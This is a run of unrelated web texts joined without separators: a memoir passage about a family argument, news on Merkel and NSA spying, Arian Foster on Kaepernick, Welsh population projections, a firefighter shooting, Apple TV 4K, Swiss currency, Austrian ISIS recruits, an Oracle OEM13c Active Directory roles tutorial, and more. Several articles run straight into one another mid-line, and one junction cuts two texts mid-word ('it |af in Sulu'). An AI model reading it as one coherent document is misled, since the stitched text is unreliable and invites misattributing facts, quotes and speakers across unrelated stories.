It kills me to think how painful it must have been for Avery to hear us say those things. She told me later that at that moment, she felt as if her world had shattered into a million jagged little pieces. She snapped and just ran. She ran out the door, into a torrential rainstorm, and collapsed onto the ground. She pulled out her cell phone, and did what any teenage girl would do when she realizes her life is falling apart; she called her best friend. That’s when Mario must have heard her outside. Avery was screaming and hysterically crying and, not realizing that she had overheard us arguing, he thought she was in physical pain. He ran out after her into the pouring rain, but when he tried to ap-proach her she screamed, “Don’t come near me. You cheated on Mommy. F--- you. I hate you. Don’t come closer. Get away from me.” Mario came to get me and even-tually we got Avery to calm down enough to come back inside. Later, Avery told me that she had asked Mario not to tell me what she had heard, because she didn’t want to upset me, but I think he didn’t know what else to do so he told me anyway.
If you want more Ramona, check out the most ramotional rides on the Ramona Coaster, below.BERLIN, Feb 16 (Reuters) - Chancellor Angela Merkel admitted on Thursday she did not know how closely Germany’s spies cooperated with their U.S. counterparts until 2015, well after an uproar over reports of U.S. bugging of her cellphone.
Merkel, who is running for a fourth term in September, told a parliamentary committee that she assumed Germany’s BND foreign intelligence agency would not help the U.S. National Security Agency (NSA) to spy on European politicians and companies.
German media revealed in 2013 that the NSA had bugged Merkel’s cellphone, which strained relations with Washington. Former NSA contractor Edward Snowden then reported in 2015 the BND had helped the NSA spy for years on European companies and politicians by passing on information it gathered.
“I knew nothing about it,” Merkel told members of the committee. “I had trusted my former chief of staff.”
Germany scaled back the level of cooperation with the NSA after the revelations, demanding clear justifications for every U.S. surveillance request concerning persons or institutions.
Merkel responded to the original allegations of widespread snooping by saying that “spying among friends was unacceptable”.
Opposition lawmakers wanted to know if Merkel knew that the BND was helping the NSA spy on European allies when she uttered those words. She told the committee that she had assumed at the time that “the BND would not do such thing”.
The German parliament set up the investigation in 2014.
Surveillance is a sensitive issue in Germany where East Germany’s Stasi secret police and the Nazi era Gestapo kept a close watch on the population.
Germany’s highest court last year rejected a bid by opposition politicians to make the government disclose to the investigating committee the surveillance targets it worked on with the NSA.
German lawmakers in October approved a law to tighten oversight of the BND, but critics said the new rules do exactly the opposite. (Reporting by Thorsten Severin; Writing by Joseph Nasr; Editing by Tom Heneghan)Arian Foster knows all too well that racial profiling and police misconduct toward African Americans are real problems. He has experienced them.
Foster, the Dolphins running back, was barely a teenager when California cops pulled over his dad driving north on Interstate 5 between San Diego and Los Angeles.
“They told us to get out of the car, all of our clothes got pulled out of the bag and then said, ‘Y’all have a good day,’ ” Foster said. “Never told us why we were pulled over. I know my rights, but there are certain things you’re taught to do as a young man that won’t get you killed. Those are the confrontations that we have with police officers on a regular basis in our communities. And that’s what Colin Kaepernick is trying to portray.”
Kaepernick is the San Francisco 49ers quarterback who has refused to stand for the singing of the national anthem this preseason, an emotionally charged protest that has made him the target of national ridicule — and some praise — in recent days.
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Kaepernick explained his reasoning to NFL.com: “I am not going to stand up to show pride in a flag for a country that oppresses black people and people of color. To me, this is bigger than football, and it would be selfish on my part to look the other way. There are bodies in the street and people getting paid leave and getting away with murder.”
Kaepernick’s pointed criticism of law enforcement has, of course, triggered a backlash. But not from Foster, who agreed with Kaepernick’s stand on the merits, if not his tactics.
SHARE COPY LINK Sports fans were interviewed regarding 49er quarterback Colin Kaepernick's refusal to stand during the national anthem at an NFL preseason game. The interviews were done at Sports Station in Modesto, Calif., on Saturday, Aug. 27, 2016.
Foster, who often spoke out on issues important to him while with the Houston Texans, including domestic violence and alcohol abuse, said he would not refuse to stand during the playing of the national anthem, but understands why Kaepernick did so.
“I don’t necessarily see that as a solution to anything,” Foster said. “This is me talking. This is Arian talking. If that’s what he felt, that’s his form of protest, I support his right to protest. Those are his thoughts, his opinions.”
Foster continued: “I understand 100 percent what he’s doing. He’s frustrated, just like me. He’s just like my brother. He’s just like my cousins out there. He’s frustrated. It’s hard seeing people get murdered and killed without repercussions.”
Foster’s No. 1 issue with the rash of police shootings is a lack of value granted to the lives lost. Cops who fire their service weapons are rarely prosecuted. And news outlets are quick to publish a mug shot and criminal record if the victim has one.
That angers Foster. And he won’t keep quiet about it. He spent much of Sunday engaging with dissenters on Twitter, including ex-Texans teammate T.J. Yates, who was critical of Kaepernick’s decision.
loving and understanding your freedoms and rights isn't hate. RT @TJ_Yates: It blows my mind how many people hate the country they live in. — Feeno (@ArianFoster) August 27, 2016
“I speak my mind,” Foster said. “I’m active in the communities. I try to educate young brothers that are in gangs and victims of what people don’t understand — this is a systemic problem that’s been going on for generations.
“If you think about it, Marvin Gaye had a great song, “Inner City Blues,” where he said ‘trigger-happy policing.’ That same sentiment is being said 40 years later. Is everybody crazy, or is something actually going on? I think that’s the dialogue that Colin Kaepernick is trying to get started. Would I not stand up for the pledge [of allegiance]? Me? No. I don’t see the correlation, in my opinion. But I understand what he’s doing. The backlash that he’s getting, that’s what I don’t understand. Sports have been used for protest for years.”
So what if a Dolphins player decided to use sports to protest?
Coach Adam Gase would generally be OK with it.
“Every guy’s got their position on certain things,” Gase said. “They’re able to express it in certain ways. There’s nothing that says they can’t do that. Our guys in our locker room, if they have certain stances they stand behind, then it’s not my right to say you can’t do that.”
Foster is one of those guys. “Racism is still alive” in the United States, he believes. And social media regularly makes his point. He’s received many tweets from people saying that if he doesn’t like this country, he can leave.
To that, he responded: “What do you mean? Where can I go?... African Americans are the only people in America who don’t have a heritage, because of slavery. We’re descendants of genocide, and people don’t like to talk about that. It’s the truth. We’re the descendants of genocide. So when you say, ‘You can leave,’ where to? I don’t know where my people come from. Am I from the Congo? Am I from Kenya? Am I from the Ivory Coast?
“I have no idea where my lineage comes from, and that is a huge issue as to why there’s a self-identity crisis in our neighborhoods. We’re taught to hate ourselves for generations. And people are just quick to say, ‘Get over it. Get over it. Slavery happened a long time ago.’ I grew up in a domestically violent household. There are effects that I grew up with and had to deal with emotional issues growing up with domestic violence in my house. That’s one generation removed. Now here’s 300 years of slavery, you’ve seen your people get people, have them told you aren’t anything. Written in laws that they’re three-fifths a human being for 300 years. You’re telling me there’s no psychological effects that won’t trickle down in your bloodline? Of course there are. Until this country addresses is, this will happen.”Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
WALES’ population is set to increase by 12% by 2033 it was disclosed yesterday – the equivalent of a city bigger than Cardiff.
In just 24 years, the country’s population will increase by 350,000 – hitting 3.35m million in 2033, the Office for National Statistics said.
But although more births than deaths are predicted throughout the period, inward migration – from both the rest of the UK and further afield – is the key reason for the projected population growth.
Wales’ population is predicted to cross the three million mark for the first time by the middle of next year and is projected to increase to 3.14m by 2018.
Across the UK the total will hit 71.6 million in 2033 from just over 61 million now. Of those, 60.7 million will be living in England.
Home Secretary Alan Johnson said earlier this year that he “did not lie awake at night” worrying about the prospect.
All four nations which make up the United Kingdom can expect to see their populations grow over the next 24 years. Compared to Wales’ projected 12% rise, there are predicted increases of 18% for England, 14% for Northern Ireland and 7% for Scotland.
“If the projection is realised, England will have the population of England, Wales, Scotland and Northern Ireland combined,” Guy Goodwin, ONS director of population statistics, said.
The number of children in Wales is expected to decrease slightly over the next four years, with around 1% fewer in 2013.
It is then projected to gradually increase to a peak in around 2027 before decreasing slightly over the following six years.
The number of pensioners, however, is predicted to increase throughout the period despite the change to the state pension age. Between 2010 and 2020, state pension age will change to 65 for both sexes, and from 2024 will gradually change in stages to 68.
Yet, despite this, there are expected to be 185,000 more pensioners in 2033 than there are currently – a rise of 29% and potentially a massive problem for an Assembly Government already struggling to provide social services to an ageing population.
A particularly sharp increase in the number of pensioners is expected from 2026 onwards due to the impact of the large number of people born in the 1960s reaching retirement age.
Shadow local government minister Darren Millar said: “This will put huge pressure on local services and social services in particular, not to mention the likely changes in housing needs. All of this needs to be taken into account now, not in 24 years’ time. The Assembly Government must recognise this and plan its budgets now to ensure adequate resources are available and pensioners receive the high quality services they need and deserve.”
The population of Wales is expected to become gradually older with the average age rising from the current 41.1 to 44.2 in 2033. This is due to a combination of a higher life expectancy and fewer children being born.
It will still remain below the average for the UK as a whole, however, and Liberal Democrat MP for Cardiff Central Jenny Willott said yesterday: “Given the Welsh industrial legacy, you could expect geographical differences in life expectancy for older generations. But these figures suggest that the gap in life expectancy at birth between Wales and other parts of the UK has actually grown, not shrunk.”
The biggest driver of population, however, is migration. The Office for National Statistics’ long-term forecast predicts a net migration into Wales of 10,500 a year from 2014 – 7,500 from other parts of the UK and 3,000 from elsewhere.
Shadow Westminster immigration minister Damian Green said: “This shows how irresponsible Alan Johnson was when he said in July that he did not lie awake at night worrying about a population of 70 million.
“The failure of Labour to control immigration has left us in this difficult position.
“A Conservative government would introduce a limit on the numbers allowed to come here to work, as well as other measures to fight illegal immigration.”
Peter Madden, chief executive of Forum for the Future, said: “Population growth will put greater pressure on our public services and increase competition for housing.
“Protecting our environment and meeting climate change targets will become even harder. And unless it is handled properly, social cohesion will suffer.
“These projections are a wake-up call for politicians. They must start planning now to manage population growth in a way which benefits people and the environment and which respects our obligations to the international community.”A Florida firefighter is under arrest after an attempt at a drunken hook-up ended with her shooting at a man who was trying to leave her apartment because, as he put it, ” things were getting weird,” according to News10.
Janeen McKenzie, a 46-year-old firefighter employed by Pompano Beach Fire Rescue, was arrested after sheriffs deputies arrived at the scene finding her standing over and pointing a gun at Anthony Santos as he knelt in the street.
According to Santos, he met McKenzie at a bar and agreed to drive her home in her car because she was too intoxicated to drive. Santos arranged for a friend to follow in another car, but changed plans after discovering that McKenzie’s home was within walking distance of his apartment.
After arriving at McKenzie’s home she invited Santos in for a drink, pouring a glass of wine for both of them. Santos said he took a sip of his then set it aside as they went into her bedroom and began kissing.
According to Santos, McKenzie pressed her body against him and took his hands, placing them around her neck, indicating that she found being choked arousing.
Telling deputies that he then attempted to leave because “things were getting weird,” Santos followed McKenzie into the kitchen where she poured herself another glass of wine. When he advised her that she had had enough, her demeanor changed and she had Santos open a drawer to observe that she had a handgun. Santos then began to exit the apartment.
Gun in hand, McKenzie caught up with Santos just outside her door and, while flailing her arms around, the gun went off just missing his face.
As Santos tried to walk way, McKenzie shot the asphalt by his feet several times, demanding that he kneel down on the ground. Santos complied, telling authorities that he thought, “Oh my God. I’m going to die over something so fucking dumb.” McKenzie then fired once more into the asphalt just as police arrived.
Police ordered McKenzie to drop her weapon and took her into custody.
She told police that she didn’t remember much of what had happened, but that Santos had been “choking the shit out of her on the bed” and she was afraid.
Observing no bruising or marks on her neck, and smelling alcohol on her, officers arrested McKenzie on a charge of aggravated battery with a deadly weapon.
Santos was taken to a nearby hospital to be treated from facial bleeding as the result of bullet fragments.There I am, a college sophomore on spring break, ambling along the midway of the Union Grove Fiddlers Convention in Iredell County, when I hear the strains of a tune I recognize but don’t know the name of. I follow the sound, softer than that of a harpsichord, percussive but melodic, the notes tripping over each other and lingering in the air.
I turn the corner of a tent and see a pretty young woman standing before a trapezoidal wooden box of an instrument, tapping it with bent sticks — hammers — held in each hand. She smiles at me and keeps playing, hammering the doubled courses of strings by muscle memory, her hands quick and nimble. It’s the first time I’ve ever seen a hammered dulcimer. Before I can even ask, she names the song: “Garryowen.”
I listen for as long as she keeps playing. It occurs to me then that if I could ever play that song on that instrument as well as she can, I would know something like joy.
• • •
“Garryowen” is an old Irish quickstep that dates back to the late 1700s, from near Limerick, and its lyrics celebrate the drunken antics of the local miscreants. Legend has it that an Irish trooper was playing the tune on a tin whistle as Gen. George Armstrong Custer’s cavalry rode into the valley of the Little Bighorn.
I think no more about hammered dulcimers or that tune until many years later, when my wife, Jill; my stepson, Patrick; and I rent a cabin up a winding dirt track on a remote ridge. The closest town is Black Mountain, 15 miles east of Asheville. One afternoon, we wander into Black Mountain’s visitor center and spy hanging on the wall an exquisite hammered dulcimer, made by an artisan named Jerry Read Smith. Smith started making dulcimers of all kinds four decades ago, and has helped establish the Black Mountain-Asheville area as a kind of hammered dulcimer haven.
Down the street from the visitor center, at Song of the Wood, Smith’s showroom full of gorgeous instruments built from curly maple, Sitka spruce, tulip poplar, and black maple, I can’t resist picking up a pair of hammers — surprisingly light — and tapping some strings. The hammered dulcimer is tuned in fifths, which makes it easy to find a chromatic scale and a simple melody.
• • •
Strangely enough, the hammered dulcimer was not born in the mountains. It has its origins in ancient Greece and the Near East, found its way to Europe with returning Crusaders as early as 900 AD, and was adapted to the dance repertoire of the British Isles.
The hammered dulcimer is versatile, able to sound classical pieces and folk melodies. More portable than a piano, it crossed the Atlantic and traveled to the mountains, and by the 1800s had become a familiar sight in lumber camps. It fit in with the musical traditions of the Scotch-Irish who settled the mountains — perfect for jigs and reels, for setting a percussive rhythm under fiddle tunes. It sounds mountainy.
Not far from town, world-class dulcimer virtuosos like Joshua Messick (whom I meet playing on the street outside of Song of the Wood) perform at Perelandra — Smith’s hand-built concert hall. The stage backdrop is a bank of tall windows that look out into the misty Blue Ridge. The studio itself is a musical instrument.
I leave Song of the Wood carrying a dulcimer of my own, with 20 courses of strings across two bridges. Back at our hideaway cabin, I set it up and hammer away. And before too long I can pick out the jaunty melody of “Garryowen.”
Halting at first, then trotting, and at last galloping for joy.Surprisingly, Apple isn't planning to charge more for higher-resolution versions of iTunes films. Your existing HD iTunes purchases will be upgraded to 4K/HDR for free, and the company says new 4K releases will cost the same as existing films. That's notable since services like Vudu charge a premium for higher-res releases. As you'd expect, Apple has also redone the TV's interface in 4K. At the launch event today, the company played a short clip from Spider-Man: Homecoming in 4K, which started up without a hitch. Hardware-wise, the new box looks exactly the same as the last Apple TV, with its controversial remote in tow.
The Apple TV 4K is powered by the A10X Fusion chip -- last seen in this year's iPad Pro models -- as well as 3GB of RAM, just like we expected. The company claims its CPU performance is twice as fast as the last Apple TV, and its graphics speed is four times as fast. With all of that power, it'll be able to handle 4K video at up to 60 frames per second. While most video either runs at 24 or 30FPS, being able to handle 60FPS future proofs the Apple TV a bit.
Billy Lynn's Long Half-Time Walk is the first 4K Blu-ray on the market supporting 60FPS, and I wouldn't be surprised if more directors start experimenting with the higher frame rate. It'll be particularly useful in nature documentaries, as it makes footage look much more fluid and realistic. There's also plenty of 4K/60FPS content on YouTube to help you get a taste of the format.
As for content, Apple says it's working on getting more local video services on the streaming box. It'll be particularly important for regional sports, which typically requires a cable or satellite subscription. Naturally, the additional horsepower will also enable more immersive game experiences. Journey developer Jenova Chen showed off a new game called Sky, which you control by waving the Apple TV remote around.
You'll be able to order the Apple TV 4K on September 15th for $179, and it |
af in Sulu.
Duterte spoke with the soldiers and handed a cash gift from the government.
The families of three soldiers killed in a recent firefight with the Abu Sayyaf received money and cellphones.
President Rodrigo Duterte speaks with the wives of three soldiers who were killed in a recent encounter with the Abu Sayyaf Group. Photo by Noning Antonio, ABS-CBN News
"We should take care of all soldiers. They are giving up their lives for this republic... and there's no peace after pain and suffering," he said.
"Magbigay ng kaunting pera at mga bagong cellphone, mas maganda pa (It's better to give them some money and new cellphones)."
Armed Forces spokesman Brigadier General Restituto Padilla said operations against the Abu Sayyaf will not let up.
Clashes between the military and the terrorist group continue in Sulu, with three soldiers and 10 ASG members reportedly killed in an encounter last week.
They recently released two Indonesian captives, which the group abducted in waters off eastern Malaysia.We may not have come away from the Austrian Grand Prix with the end result of points that we wanted, but I think there were still a lot of positives that everyone at McLaren-Honda could take away from the weekend.
Starting from the first practice sessions, our pace was actually quite strong. Of course we were running the new 'Spec 3' Honda engine, but we were also expecting to go quite well because we know our chassis is a very good one.
Plus don't forget that Austria is a short track, with some slow speed and high-speed corners that were always going to suit our car a bit better. It was really just a case of fine-tuning the setup as we went through practice to prepare ourselves as best as we could for qualifying.
A lot of people were asking me about the 'Spec 3' engine, and how different it was from the 'Spec 2' used by Fernando.
To be honest, in terms of performance, there wasn't any significant difference from the cockpit and also data confirmed this feeling: there is still a lot of work to be done to fine-tune the settings before we can get the real benefit from it.
But at least we have had some updates from Honda now, and heading to Silverstone this week I think we will be able to extract a bit more performance from the engine.
The very start of the race went really for myself and Fernando, but unfortunately things got very complicated when a few cars ahead of us had bad getaways. There was a Renault that was slow away, as well Max Verstappen and Carlos Sainz, so avoiding all those people compromised us a bit in to Turn 1.
Then I saw the clash between Daniil Kvyat and Fernando Alonso at the first corner and I had to avoid it around the outside, which unfortunately didn't put me in a perfect position for the long run down to Turn 3. So it was a bit of a tricky opening lap.
Even so, I think we had the pace to be in contention for some points. When we were running in clear air our pace was very, very good – and I think it was one of the first times this year that we had the genuine speed to be able to run in the top 10 behind the Haas, Force India and Williams cars.
In the end, the fight for the points caught me out after our pitstop. We had just fitted fresh rubber and I was battling with the Renault for the final point, with Kimi Raikkonen coming up behind us.
I was pushing as hard as possible to stay in front of Kimi, so I wouldn't lose time with the blue flags, but unfortunately I took a bit too long to let him past and I got a drive-through penalty. It didn't cost us any position in the end, but it meant the fight for points was over.
This weekend is already the next race, and Silverstone is a very different circuit compared to Austria. It is much longer and this year Silverstone will probably be very different to the Silverstone we have known in the past.
A lot of the corners will become flat out and it will be a very, very quick circuit. So I don't think it will be an easy weekend for us.
As usual, though, we will try to optimise whatever we can with the car and try to extract the maximum out of it. Maybe with the British summer we could have some surprises and maybe have a bit of rain too which would be good.
I think our car is quite good, so it is great for the rain, and also when we have tricky situations, it gives us a good opportunity to do something different in terms of strategy, and it enables us to be in a more competitive position.Switzerland fears euro fallout – because its currency is too strong BelfastTelegraph.co.uk The promenades of Geneva and Zurich may seem a world away from the protests and turmoil plaguing the streets of Athens. https://www.belfasttelegraph.co.uk/news/world-news/switzerland-fears-euro-fallout-because-its-currency-is-too-strong-28754425.html
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The promenades of Geneva and Zurich may seem a world away from the protests and turmoil plaguing the streets of Athens.
But, with the European sovereign-debt crisis going rapidly from bad to worse, concerns are growing about the economic impact on Switzerland if the Greeks ditch the euro.
The biggest fear is over the ever-reliable Swiss franc. Last year, the mayhem in the 17-member euro area drove up the value of the Swiss currency, threatening the country's economy. Increasing pressure on the franc adversely affected Swiss exports and led to a marked decline in tourism.
Central bankers in Berne were eventually forced to step in and the currency rise was halted only after the Swiss National Bank intervened to peg its value against the euro at a floor of 1.20 per franc.
But there are concerns that Switzerland will be struck by another wave of foreign currency if Greece decides to leave the eurozone after its forthcoming general election. This could drive up the franc yet again – presenting a fresh headache for Swiss politicians and businessmen alike.
Already, fears about the situation in Greece and the possibility of widespread eurozone instability have caused the value of the franc to rise again against the euro. In recent weeks it has been trading within a fraction of the floor set last year.
Attention is turning to capital controls on foreign deposits, a weapon that Berne's policymakers haven't used since the 1970s, when Switzerland attempted to temper the influx of oil money from the newly rich Middle East.
Back then, the government banned foreign investments in Swiss securities and property, and introduced negative interest rates on foreign deposits. But the curbs failed to halt the rise of the franc.
The currency was brought under control only after it was pegged to the then German currency, the Deutschmark. Moreover, regulating foreign deposits, rather than merely pegging the exchange rate, would require intervention by the Swiss government, as well as the banks.
In a sign that policymakers were preparing for such a move, the head of the Swiss National Bank, Thomas Jordan, raised the prospect of capital controls this week. His words count: this year, Berne set up a task force, led by Mr Jordan and finance minister Eveline Widmer-Schlumpf, to work out contingency plans in the event of a eurozone collapse.
The challenge facing the Swiss was underlined yesterday, with minimal market reaction to the possibility of far-reaching capital controls. The franc retained its value despite Mr Jordan's warning, indicating that traders were inclined to continue holding the currency despite the regulatory threat.
The crux of the issue, currency experts said, was whether the Swiss National Bank was prepared to risk "massive intervention" to defend the exchange rate. Much like the possibility of a Greek exit from the euro, only time will tell.
Belfast TelegraphIn his 1946 essay, Politics and the English Language, George Orwell discusses the consequences and causes of sloppy language. It’s a vicious cycle:
“[Language] becomes ugly and inaccurate because our thoughts are foolish, but the slovenliness of our language makes it easier for us to have foolish thoughts.”
In this “post-truth” age of “alternative facts”, when we can’t seem to agree on the most basic principles, Orwell’s essay is more relevant than ever. We are hungry for accurate language, desperate to find some way to at least agree on what words mean, even if we can’t agree on anything else.
Dictionaries, the stuffy authorities of the grade school classroom, are stepping up into the gap. As Katherine Rosman wrote in a recent New York Times article, dictionaries are making a comeback. People are returning to them as a touch-stone of authoritative knowledge. A dictionary is no longer simply a book that is too big to fit into your purse; it’s an active presence in political discourse, entering the conversation in real-time on social media. Merriam-Webster ( @MerriamWebster ) and Dictionary.com ( @Dictionarycom ) are not only defining words, but also providing biting political commentary.
Rosman reports that, according to the head of Dictionary.com’s marketing department, “the intent is not to be political or partisan”, but rather to “demonstrate the relevance and usefulness of an expanded vocabulary”. This may be true, but here’s the thing. Language, and our use of it, is inherently political. In an atmosphere of confusing rhetoric and blatant falsehoods, the very act of defining a word is political. Rooting out bad habits in language is essential in the fight against oppression.
As Orwell says, “If one gets rid of these habits one can think more clearly, and to think clearly is a necessary first step toward political regeneration: so that the fight against bad English is not frivolous and is not the exclusive concern of professional writers.”
If you needed any proof of the power of books, here it is. Words, and how we use them, matter. Dictionary.com and Merriam-Webster are not just entertaining and informing us. They are taking an essential step towards freeing us: giving us the tools, the words, to free ourselves. This is important work, and in a world where the president of the United States is a Twitter troll, it’s risky work that takes bravery and stamina.
These dictionaries are part of a community of people and organizations with the audacity to use words with precision in the face of mendacious power. Where words come from and what they mean matters. The history of a word is the history of a concept, and that’s the foundation of our ability to talk about anything. Certain forces would like to redefine key concepts like racism and religious freedom. Dictionaries are on the front lines of that battle. They may not have set out to be political, but like many other respected institutions (e.g. libraries and schools), at the moment the very act of continuing to fulfill their function is political.
I started out being amused by Merriam-Webster’s tweets, but as time goes on I’m increasingly in awe. As a writer and reader, I believe in the power of words to help carry us through this turbulent moment in history. It’s incredibly comforting to know that those benevolent linguistic deities of my childhood, the reliable old dictionaries, are on side.Two Austrian teens got way more than they bargained for when they abandoned their homes and families to become “poster girls” for ISIS terrorists, and now they desperately want to come home.
Samra Kesinovic, 17, and friend Sabina Selimovic, 15, would love to press the undo button on the last six months, during which they traded their comfortable existence in Europe for a life of evil engineered by terrorists.
The teens are believed to be married, pregnant and living in the ISIS-controlled city of Raqqa in northern Syria, Central European News reports.
That’s a change of heart from the April note they left behind for their parents that read: “Don’t look for us. We will serve Allah, and we will die for him.”
For weeks, social-media accounts believed to belong to the girls had been posting pictures and information that seemed to suggest the young duo enjoyed living a life of terror.
The pictures showed the two girls smiling and wearing their new Muslim garb, sometimes while flanked by armed fighters.
Some of the images appeared to show the girls carrying weapons.
But authorities in Austria say it was all an elaborate plan set up by ISIS to persuade the world that the two wanted to be the poster girls for jihad in Syria.
Some of the images may have been faked, including some that were taken years earlier of other women and re-posted on the girls social-media pages, Austrian authorities said.
“It is clear that whoever is operating their pages it probably is not the girls and that they are being used for propaganda,” said one Austrian security official.
The teens apparently were lured to ISIS by propaganda preached at their local mosque.
Clerics told them that the only way to know true peace was to head to Syria and take part in the holy war, officials said.
The girls had started lecturing schoolmates about their lifestyle and were even suspected of being behind a vandalism attack at their school calling for jihad.
Now Kesinovic and Selimovic have had enough and are eager to return to their families, according to CEN. The girls reportedly managed to get word to their families they want to come home.
But reports also said the teens don’t feel they can flee because too many people now associate them with ISIS savagery.
“The main problem is about people coming back to Austria,” said Austrian Interior Ministry spokesman Karl-Heinz Grundboeck. “Once they leave, it is almost impossible.”
Kesinovic and Selimovic are among the bevy of women ISIS has recruited from around the world. Although its strict interpretation of Islamic law limits a woman’s place in society, women are often recruited into vital support roles through aggressive social-media campaigns that promise devout jihadist husbands.
In May, 16-year-old British twin sisters followed their older brother to Syria so they could marry jihadists, according to London’s Daily Mail.
Several weeks ago, a 16-year-old was arrested at a French airport under suspicion she was traveling to Syria to join Islamist rebels.
A 15-year-old French girl named Nora, the daughter of Moroccan immigrants, was lured by Syria through Facebook, according to her brother Foad.
She has said she wants to come home, and Foad traveled to Syria — but he was not allowed to leave with her.
“As soon as they manage to snare a girl, they do everything they can to keep her,” Foad said.
“Girls aren’t there for combat, just for marriage and children. A reproduction machine.”
With Post Wire ServicesManaging OEM13c Roles and AD Groups. In my last post, we explored how to enable LDAP (using Windows Active Directory) authentication within OEM 13c. Now that we can centrally manage basic user access to OEM, we need to apply some security constraints around these users.
If you are familiar with Active Directory (AD), then Organizational Units (OU) and Groups will be also be familiar terms. In essence, these are the containers that Windows Server uses to organize users and establish permissions and access to enterprise resources and applications.
Within our OEM environment, a component of this control structure is managed using Roles. OEM has a number of built in roles that allow an administrator to grant certain privileges to users allowing them to perform functions within OEM. These roles however are designed to work with native OEM user accounts and roles. Once we implement user management via AD LDAP, there are some additional considerations. Let’s take a look at how we set this up.
If you want to follow along please take a look at my previous post on Managing OEM uses via AD to get and idea of configuration I’ll be working from.
Jumping right in, I have created two additional accounts (Daniel & Danny) in the DOT Users OU.
Since we turned on Auto-provisioning in OEM, we can log in with the credential used from AD. A quick check from Weblogic shows that the user accounts are recognized:
and we can see that the accounts have been created in OEM. *Note: I previously logged in with the accounts to allow the auto-provisioning to create the OEM accounts:
Now that we are confident the user accounts are there, we can implement some initial access controls to these users. At first login, neither account has access to any information from OEM:
Our first step is to create or add users to the Windows AD Groups located in the OU we defined as Group Base DN. In this case, “OU=Security,OU=Groups,DC=beta,dc=dbaontap,DC=com” means we need these groups here in AD:
As you can see I have created the AD Group “OEM_HOST_VIEW” and have added the user DANNY to this group:
In order for this to work, we must also create a ROLE in OEM. The name of the AD Group(s) and OEM Role(s) must match exactly.
Once we have create this OEM Role and assigned some privileges we can log into OEM with the Danny user account and lets see what we get.
As you can see, this account can view all hosts, in this case both the Windows 10 box and the Linux Server. Shameless plug, but if you want to figure out how to monitor your Windows boxes in OEM, check back a little later. This is due to the Role’s inherited privileges.
What if you don’t want generic Role inheritance? OEM has a way to handle this as well. In the next example, we will create a new Windows AD Group, add the Daniel user to it and build a different access model in OEM.
In this case, we will not select predefined Role privileges to inherit.
Let’s explicitly define View privileges on a specific Target. In this case the Windows 10 box (Delta)
A quick review of what we have configured now shows two External Roles.
and when we log in with the Daniel user credentials, we only see the Host explicitly configured from above.
This is a simple example of how you can integrate OEM13c with Windows AD and implement some access controls around your users. While the initial set up takes some time, once your Groups and Roles are created and synchronized as it relates to your organization’s control and access structure, the management is generally centralized to your Windows AD environment.
As with anything, your security policies can become quite complex. Take your time to architect it appropriately to prevent massive amounts of redo.
Enjoy,
Like this: Like Loading...The Swedish round of the FIA World Rallycross Championship is set to remain at the iconic Holjes circuit for at least another three years as organisers confirmed a new deal.
This year marked the 40th anniversary since rallycross was first held at the Swedish track and the new deal confirms the importance of the venue on the calendar.
“There’s no denying that Holjes deserves a spot in our World RX calendar,” said World RX Managing Director for IMG, Paul Bellamy.
“It’s a legendary event which attracted a record crowd of 40,000 passionate rallycross fans earlier this year. With so many Swedish drivers competing in our Championship as well as the high number of mainstream media who visited Holjes earlier this year, it’s clear that rallycross is going from strength to strength in this area of the world. We are looking forward to working with Morgan and his team in helping to create an even better event from 2016 onwards.”
Finnskoga MK Chairman Morgan Ostlund added: “We are delighted to continue our co-operation with IMG. Our goal is to make rallycross the most popular form of motorsport in Sweden and I firmly believe we have all the ingredients now in place to make this happen.”
The 2016 World RX of Sweden is scheduled to take place in its traditional first weekend in July.There was some unrest on Real Time with Bill Maher tonight – both among the panelists and in the audience. Maher and guest Tavis Smiley couldn’t agree on the relative treatment of women in Muslim countries and America, leading to some spirited debate and some strong attacks on Muslim countries from Maher. That is, until one audience member interrupted the show with a shouting rant before getting kicked out.
Maher was having it out with Smiley over relative treatment of women in Muslim countries and American society – Smiley didn’t argue that Muslim countries often exhibit poor attitudes toward women, but argued treatment of women in America has a long way to go, too. Maher called it a “false equivalency,” and it went on from there. Maher read off a list of the ways women are oppressed in Arab countries – in 19 of 22, they can’t vote; in Saudi Arabia they aren’t allowed to drive; etc.
Then, he got into slightly weirder territory. He asserted that “civilization begins with civilizing the men,” and then, after saying, “I know this is anecdotal” (not an auspicious way to start when you’re trying to make a convincing argument), unleashed this line:
“Talk to women who’ve ever dated an Arab man. The results are not good.”
Maher added they have a “sense of entitlement,” indeed quite the anecdotal piece of “evidence,” and one to which guest Michelle Caruso-Cabrera shot back, “Every man I’ve ever dated has a sense of entitlement.” And Maher kept on having none of Smiley’s argument that Americans shouldn’t act superior about treatment of women and rejected the notion he was “demonizing” anyone by saying Americans’ treatment of women is better:
“They’re worse. What’s wrong with just saying that?”
And it continued on like that until a guy in the crowd started yelling about Hellfire missiles…and yelling, and yelling. He rattled off so much so quickly (though most of it was tough to hear) that Maher guessed it was a prepared speech…a guess buoyed by the fact that the rant, as Maher also pointed out, indeed didn’t have a whole lot to do with what the panel was talking about. Video of the segment below – the interruption begins at the 5:32 mark.
Have a tip we should know? tips@mediaite.comNo Man's Sky has been a hot topic this month for all of the wrong reasons. After much hype and anticipation, the game's release came and went the way of Spore, pitching a great idea but only going about half way. As a result, the internet did what it usually does, and lost its collective mind, pointed fingers, claimed mental trauma, etc. which led many to ask for refunds. The players who asked for refunds seem to have very wide variations in gameplay time, leading one ex-Sony employee to question the integrity of some of the refund claimants.
Shahid Kamal Ahmad a former Strategist Content Director for Sony, who also had a hand in securing No Man's Sky, seems to have an issue with the people who have been playing the game for 50+ hours and are demanding (and getting) refunds. He expressed his thoughts in a series of Tweets.
Here’s the good news: Most players are not thieves. Most players are decent, honest people without whose support there could be no industry. — Shahid Kamal Ahmad (@shahidkamal) August 28, 2016
We’re not talking about a consumer product in the factory sense. We’re talking about a work of art. You can’t just treat it like a widget. — Shahid Kamal Ahmad (@shahidkamal) August 28, 2016
In forty years of buying tens of thousands of pounds worth of games, to my knowledge, I have not *once* asked for my money back. — Shahid Kamal Ahmad (@shahidkamal) August 28, 2016
As a customer and a player before I was ever a developer, I’d only have asked for my money back if the game was broken at boot time. — Shahid Kamal Ahmad (@shahidkamal) August 28, 2016
I have no dog in this race. Just my 2p. I’ve been a dev, a pub and a funder for decades, and a player for longer than all of that. — Shahid Kamal Ahmad (@shahidkamal) August 28, 2016
I’ll say it again. 50 hours. How long do they need, 5 billion hours? They still wouldn’t have seen it all. https://t.co/sHVZSR1G8R August 28, 2016
